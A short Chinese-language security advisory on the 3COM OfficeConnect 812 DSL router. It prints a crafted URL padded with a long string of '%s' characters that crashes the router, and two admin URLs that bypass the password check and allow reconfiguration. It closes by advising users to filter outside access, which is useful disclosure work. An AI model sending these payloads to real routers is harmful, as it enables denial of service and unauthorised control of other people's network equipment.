涉及程序： 3COM OfficeConnect DSL router 详细： 构造特殊的 URL 完全控制 3COM OfficeConnect DSL 路由器 近日发现 3COM OfficeConnect DSL 路由器存在多个漏洞： 一、 当用户用浏览器连上受影响路由器上的 WEB 服务时，会被要求输入帐号和口令。如果用户输入错误便不能访问该站点。但用户仍然能访问一个 .GIF 文件: http://192.168.1.254/graphics/sml3com 将会显示出一个画面。如果在该 URL 后加入长长的字符： http://192.168.1.254/graphics/sml3com%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% s%s%s%s%s%s%s%s%s%%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s %s%s%s%s%s%s%s 这将会导致路由器将崩溃 二、 攻击者构造如下 URL： http://192.168.1.254/adsl_pair_select http://192.168.1.254/adsl_reset 便能够绕过口令检查，并能用自己的浏览器对该路由器重新配置。 受影响系统： 3COM OfficeConnect 812 解决方案： 建议用户过滤外部 IP 对该路由器的访问